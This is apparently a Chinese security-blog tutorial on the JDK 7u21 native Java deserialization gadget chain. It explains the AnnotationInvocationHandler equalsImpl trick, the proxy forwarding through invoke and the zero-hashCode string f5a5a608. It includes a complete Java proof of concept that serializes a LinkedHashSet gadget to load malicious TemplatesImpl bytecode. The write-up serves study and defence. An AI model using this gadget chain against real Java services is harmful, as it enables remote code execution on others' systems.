java原生链利用
java原生链利用
在上一个文章中我们利用Java原生链进行shiro的无依赖利用;
针对在没有第三方库的时候,我们该如何进行java反序列化;
确实存在一条不依赖第三方库的java反序列化利用链;但它适用于jdk7u21;
原理:
我们都知道在java反序列化中最核心的地方在于最后可以触发动态命令执行的地方;
比如cc链中的transform链和是TemplatesImp的动态加载字节码;
其实从广义上来说反序列化最终目的是为了触发 "我们可以进行的一些"操作";
命令执行是一种目的 urldns链也是一种目的,最终都是通过反序列化的一系列触发来达到我们要实现的目的;也就是漏洞利用的目的;
简单来说,如果最终目的是进行文件读取,就找到可以文件读取的地方;通过路径回溯,拼接然后通过java反序列串联这个路径最终达到文件读取的目的
但大多数java反序列化和命令执行是绕不开的,正因为它足够自由,在一定的限度下允许我们最大限度的拼接;最后达到命令执行的目的;
在jdk7u21这条链中的最终目的也是命令执行;
那么该怎么达到这个目的呢?
既然是原生链;我们会找一些原生类中的触发命令执行的地方
这个路径依赖于到AnnotationInvocationHandler类的equalsImpl方法;
源码如下

private Boolean equalsImpl(Object var1) {
if (var1 == this) {
return true;
} else if (!this.type.isInstance(var1)) {
return false;
} else {
for(Method var5 : this.getMemberMethods()) {
String var6 = var5.getName();
Object var7 = this.memberValues.get(var6);
Object var8 = null;
AnnotationInvocationHandler var9 = this.asOneOfUs(var1);
if (var9 != null) {
var8 = var9.memberValues.get(var6);
} else {
try {
var8 = var5.invoke(var1);
} catch (InvocationTargetException var11) {
return false;
} catch (IllegalAccessException var12) {
throw new AssertionError(var12);
}
}
if (!memberValueEquals(var7, var8)) {
return false;
}
}
return true;
}
}
从代码中!this.type.isInstance(var1)可以知道当type是接口时,会进入else;会通过type.getDeclaredMethods() 遍历type接口的所有方法;
代码中 AnnotationInvocationHandler var9 = this.asOneOfUs(var1);是判断是否是实现了AnnotationInvocationHandler接口的 注解类,是就进行强制转换不是就返回null

当type不是实现了AnnotationInvocationHandler接口的注解类时返回null,调用 var5.invoke(var1);
所以当type = Templates.class(非实现了AnnotationInvocationHandler接口的非注解接口)时:
遍历返回的就是接口中声明的两个方法:
newTransformer()getOutputProperties()
也就是说,当 var1 是恶意构造的 TemplatesImpl 对象时,反射调用其 newTransformer() 或 getOutputProperties() 会触发字节码加载。
我们知道在 type是作为 注解类参数存在的,因此要想触发equalsImpl 方法中的遍历必须让注解类参数为Templates.class

也就是
InvocationHandler tempHandler = (InvocationHandler) handlerConstructor.newInstance(Templates.class, map);
那么如何调用equalsImpl方法并自动触发呢?
我们在AnnotationInvocationHandler的invoke方法发现调用了equalsImpl方法

invoke方法我们知道在在cc1链的lazymap版本中是关键一环;
回顾之前的内容
AnnotationInvocationHandler是一个InvocationHandler的实现类;
可以作为动态代理的"处理器"
而我们都知道InvocationHandler是一个接口,他只有一个方法就是invoke:
public interface InvocationHandler {
public Object invoke(Object proxy, Method method, Object[] args)
throws Throwable;
}
当 java.reflect.Proxy 动态绑定一个接口时,如果调用该接口中任意一个方法,会执行到这个InvocationHandler的invoke方法
而AnnotationInvocationHandler是它的实现类,当使用AnnotationInvocationHandler作为处理器时;就会执行到AnnotationInvocationHandler的invoke方法;
这就是代理转发;简单来说就是使用InvocationHandler处理器处理被代理类的方法;
事实上这里代理类型和实现的接口并不重要;关键是转发;因为equal是Object中的方法,所有的类都继承这个方法;只需要proxy是一个接口类型即可
也就是说:动态代理对象的 equals() 方法被调用时,会路由到 AnnotationInvocationHandler.invoke → equalsImpl
package org.com.cc;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.nio.file.Files;
import java.nio.file.Paths;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.HashSet;
import java.util.LinkedHashSet;
import java.util.Map;
public class jdk7u21 {
public static void main(String[] args) throws Exception {
//动态字节码部分
byte[] code= Files.readAllBytes(Paths.get("E:\\java学习\\cc1\\src\\main\\java\\org\\com\\cc\\evil.class"));//从文件中加载,加载恶意字节码
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_bytecodes",new byte[][]{code});
setFieldValue(templates,"_name","Hello");
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
String zeroHashCodeStr = "f5a5a608";
// 实例化一个map,并添加Magic Number为key,也就是f5a5a608,value先随便设置一个值
HashMap map = new HashMap();
map.put(zeroHashCodeStr, "foo");
Class clazz=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor=clazz.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
InvocationHandler tempHandler = (InvocationHandler) constructor.newInstance(Templates.class, map);
Map proxy = (Map) Proxy.newProxyInstance(jdk7u21.class.getClassLoader(), new Class[]{Map.class}, tempHandler);
proxy.equals(templates);
}
private static void setFieldValue(Object obj, String fieldName, Object value)
throws Exception {
Class<?> clazz = obj.getClass();
Field field = null;
// 循环查找字段(包括父类)
while (clazz != null) {
try {
field = clazz.getDeclaredField(fieldName);
break;
} catch (NoSuchFieldException e) {
clazz = clazz.getSuperclass();
}
}
if (field == null) {
throw new NoSuchFieldException(fieldName);
}
field.setAccessible(true);
field.set(obj, value);
}
}

如何在反序列化中自动调用equals方法呢?
找到反序列化过程中自动调用了equals方法的类,可以查找这个方法的用例(是在太多了);
所以猜测equals函数的类常常会进行元素间的比较;目的用于去重或者排序;
而去重我们自然而然可以想到 集合数据结构(元素之间不允许有重复)set ->hashset,有关的还有hashtable,hashmap
它们的底层其实都是hashmap,为了避免hash冲突,hashmap的底层又被设计成数组+链表;
数组的每一个元素都是一个链表,当数组的key经过hashcode计算发生冲突时,会通过链表插入冲突的key 也就是key1,key2这样;
在其源码reobject方法中我们可看到它的源码中使用hashmap的 map.put对key进行去重操作

我们发现当实例化对象是LinkeHashset时,map的值为LinkeHashset否则为HashMap
我们跟进put方法(jdk7u21)

我们希望 key.equals值为 templates(上文中的字节码对象),我们可以看到k的值来源于e.key,当key==e.key时 ;e来源于数组中已经存在的键值;
table[i];而i=hash;也就是说 templates的值==e.key时触发;而e.key是有遍历table[i]中得来;
因此触发条件是发生hash冲突也就是,处于数组的同一条链表上;
因此我们就需要构造与templates hash值相等的对象;
我们构造proxy对象和templates对象的hash相等
我们可以看到hash的值来源于hashcode,我们只需要让两者的hashcode相等

但TemplateImpl的 hashCode() 是一个Native方法,每次运行都会发生变化,我们理论上是无法预测的;所以想让proxy的 hashCode() 与之相等,只能寄希望于proxy.hashCode()
而在反序列化过程中,调用proxy.hashCode()会调用AnnotationInvocationHandler的invoke,从而调用 hashcodeImpl()

我们跟进hashcodeImpl源码

private int hashCodeImpl() {
int var1 = 0;
for(Map.Entry var3 : this.memberValues.entrySet()) {
var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue());
}
return var1;
}
这段代码会遍历map数组所有的元素的keu和value;
但当只有一个key和value的时候就只计算一次
127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue());
但我们知道0异或任何数,是任何数,取key.hashcode=0时
var1就会只取value.hashcode的值;
当value.hashcode为TemplateImpl值时,proxy的hash=TemplateImpl的hash
因此我们构造一个key.hashcode=0的对象作为proxy.key(var3.getKey())的值,TemplateImpl对象作为proxy.value(var3.getValue())的值
二者hashcode就相等了
找一个hashCode是0的对象,我们可以写一个简单的爆破程序来实现:
public static void bruteHashCode()
{
for (long i = 0; i < 9999999999L; i++) {
if (Long.toHexString(i).hashCode() == 0) {
System.out.println(Long.toHexString(i));
}
}
}
最后得到字符串
f5a5a608
payload
package org.com.cc;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.nio.file.Files;
import java.nio.file.Paths;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.HashSet;
import java.util.LinkedHashSet;
import java.util.Map;
public class jdk7u21 {
public static void main(String[] args) throws Exception {
//动态字节码部分
byte[] code= Files.readAllBytes(Paths.get("E:\\java学习\\cc1\\src\\main\\java\\org\\com\\cc\\evil.class"));//从文件中加载,加载恶意字节码
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_bytecodes",new byte[][]{code});
setFieldValue(templates,"_name","Hello");
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
String zeroHashCodeStr = "f5a5a608";
// 实例化一个map,并添加Magic Number为key,也就是f5a5a608,value先随便设置一个值
HashMap map = new HashMap();
map.put(zeroHashCodeStr, "123");
Class clazz=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor=clazz.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
InvocationHandler tempHandler = (InvocationHandler) constructor.newInstance(Templates.class, map);
Map proxy = (Map) Proxy.newProxyInstance(jdk7u21.class.getClassLoader(), new Class[]{Map.class}, tempHandler);
// proxy.equals(templates);
HashSet set = new LinkedHashSet();
set.add(templates);
set.add(proxy);
// 将恶意templates设置到map中
map.put(zeroHashCodeStr, templates);
System.out.println(proxy.hashCode()==templates.hashCode());//此時二者相等
System.out.println(map.hashCode()==proxy.hashCode());//此時二者相等
System.out.println(templates.hashCode()==map.hashCode());//此時二者相等
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
ObjectOutputStream oss = new ObjectOutputStream(outputStream);
oss.writeObject(set);
oss.close();
// System.out.println(outputStream);
ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(outputStream.toByteArray()));
Object object = objectInputStream.readObject();
}
private static void setFieldValue(Object obj, String fieldName, Object value)
throws Exception {
Class<?> clazz = obj.getClass();
Field field = null;
// 循环查找字段(包括父类)
while (clazz != null) {
try {
field = clazz.getDeclaredField(fieldName);
break;
} catch (NoSuchFieldException e) {
clazz = clazz.getSuperclass();
}
}
if (field == null) {
throw new NoSuchFieldException(fieldName);
}
field.setAccessible(true);
field.set(obj, value);
}
}

总结:这篇文章讲了java原生链的利用;
通过在AnnotationInvocationHandler中找到 equalsImpl方法发现 当type为非AnnotationInvocationHandler注解类接口时,会遍历传进来的非注解接口的方法;于是我们构造Templates类,发现在invoke中调用了这个方法,于是我们通过动态代理来代理让AnnotationInvocationHandler作为处理器,这样执行的方法就会转发给AnnotationInvocationHandler的invoke处理;我们发现当被代理类执行equals方法时就会执行invoke,但在无法显示执行时,我们在Hashset中发现进行了去重,在其map.put中调用了equals方法;且当两个对象的hashcode相等时触发equals方法;于是我们构造proxy的hashcode等于templates的hashcode也就是使用0异或任何数结果为0进行构造 得到f5a5a608的hashcode为0 ;调用map.put(zeroHashCodeStr, templates)使其相等;在反序列化进行去重计算的时候二者的hashcode相等;
流程梳理:
首先实例化一个templates类;
创建一个hashmap
使用AnnotationInvocationHandler进行包装 传入非AnnotationInvocationHandler注解类Template.class
使用动态代理,目的是触发AnnotationInvocationHandler->invoke->equalsImpl
新建 Hashset对象
添加两个对象templates ,proxy
map.put时会使两个对象的hashcode相等,原理是map是proxy的被代理对象,操作map相当于操作proxy,因此 map.put(zeroHashCodeStr, templates);就返回templates.hashcode=proxy.hashcode了;在反序列化时会再计算一次,发现两者相等触发equals,再触发invoke,触发equalsImpl;再触发invoke加载恶意字节码;
------------------------备注----------------------
参考 :p牛->知识星球->代码审计->java系列文章
java原生链利用的更多相关文章
- Java安全之C3P0链利用与分析
Java安全之C3P0链利用与分析 0x00 前言 在一些比较极端情况下,C3P0链的使用还是挺频繁的. 0x01 利用方式 利用方式 在C3P0中有三种利用方式 http base JNDI HEX ...
- 使用Java原生代理实现AOP
### 本文由博主柒.原创,转载请注明出处 ### 完整源码下载地址 [https://github.com/MatrixSeven/JavaAOP](https://github.com/Matri ...
- android 学习随笔二十七(JNI:Java Native Interface,JAVA原生接口 )
JNI(Java Native Interface,JAVA原生接口) 使用JNI可以使Java代码和其他语言写的代码(如C/C++代码)进行交互. 问:为什么要进行交互? 首先,Java语言提供的类 ...
- java责任链模式及项目实际运用
1.前言 上次我们认识了java责任链模式的设计,那么接下来将给大家展示责任链模式项目中的实际运用.如何快速搭建责任链模式的项目中运用. 2.简单技术准备 我们要在项目中使用借助这样的几个知识的组合运 ...
- Java 原生日志 java.util.logging
简介 Java 中的 Logging API 让 Java 应用可以记录不同级别的信息,它在debug过程中非常有用,如果系统因为各种各样的原因而崩溃,崩溃原因可以在日志中清晰地追溯,下面让我们来看看 ...
- JAVA防盗链在报表中的应用实例
今天我们来聊聊Java防盗链,多说无用,直接上应用案例. 这里所用的工具是报表软件FineReport,搭配有决策系统(一个web前端展示系统,主要用于权限控制),可以采用java防盗链的方式来实现页 ...
- 【Java】Java原生的序列化和反序列化
写一个Java原生的序列化和反序列化的DEMO. 需序列化的类: package com.nicchagil.nativeserialize; import java.io.Serializable; ...
- 使用Java原生代理实现数据注入
本文由博主原创,转载请注明出处 完整源码下载地址 https://github.com/MatrixSeven/JavaAOP 上一篇,咱们说了使用Java原生代理实现AOP的简单例子,然么就不得不说 ...
- 分布式架构探索 - 1. RPC框架之Java原生RMI
1. 什么是RPC RPC(Remote Procedure Call)即远程过程调用,指的是不同机器间系统方法的调用,这和 同机器动态链接库(DLL)有点类似,只不过RPC是不同机器,通过网络通信来 ...
- Java实现链式存储的二叉查找树(递归方法)
二叉查找树的定义: 二叉查找树或者是一颗空树,或者是一颗具有以下特性的非空二叉树: 1. 若左子树非空,则左子树上所有节点关键字值均小于根节点的关键字: 2. 若右子树非空,则右子树上所有节点关键字值 ...
随机推荐
- 【设计模式】告别冗长if-else语句:使用策略模式优化代码结构
概述 先看下面的图片,我们去旅游选择出行模式有很多种,可以骑自行车.可以坐汽车.可以坐火车.可以坐飞机. 作为一个程序猿,开发需要选择一款开发工具,当然可以进行代码开发的工具有很多,可以选择Idea进 ...
- [Qt 基础-01] QPushButton
QPushButton 简介 QPushButton是一个很常用的一个按钮控件,主要用于创建一个可按压的按键.它显示了一 个文本和一个图标.另外,你也可以在创建时,指定一个快捷键. 基本用法 1. 创 ...
- DeepSeek 多模态大模型 Janus-Pro 本地部署教程
下载模型仓库 git clone https://github.com/deepseek-ai/Janus.git 国内下载仓库失败时,可以使用以下代理: git clone https://gith ...
- mac zsh终端 goframe gf 别名冲突
前言 如果你使用的是 zsh 终端,可能会存在 gf 别名冲突( git fetch 快捷指令) 解决 终端运行 alias gf=gf,gf 工具会自动修改 .zshrc 中的别名设置,source ...
- MFC非模态对话框的关闭
如果要在点击按钮的情况下,销毁非模态对话框,只需要把按钮的事件映射到OnCancel函数, 里面调用DestroyWindow(), 然后重写PostNCDestroy(), delete 指针. 另 ...
- Docker,vs2019下 使用.net core创建docker镜像 遇到的一些问题
步骤主要分为以下几步: 1.创建docker for linux 的.netcore 项目(vs 自动创建了dockerfile 如果没有需要自己创建在根目录下) 2.编译项目到指定目录下 3.b ...
- FireDAC 下的批量 SQL 命令执行
一.{逐条插入} procedure TForm1.Button1Click(Sender: TObject); const strInsert = 'INSERT INTO MyTable(Name ...
- Model Context Protocol
MCP is an open protocol that enables AI models to securely interact with local and remote resources ...
- Redis实现高并发场景下的计数器设计
大部分互联网公司都需要处理计数器场景,例如风控系统的请求频控.内容平台的播放量统计.电商系统的库存扣减等. 传统方案一般会直接使用RedisUtil.incr(key),这是最简单的方式,但这种方式在 ...
- springboot整合websocket实现消息推送
最近想起之前项目里面的一个实现,是关于订阅推送的,当粉丝订阅了大V或者说作者发布的内容被评论和点赞之后,对应的用户会受到通知,当然,本身系统用户并不多,所以直接采用的是轮训的方式,由前端这边定时向后 ...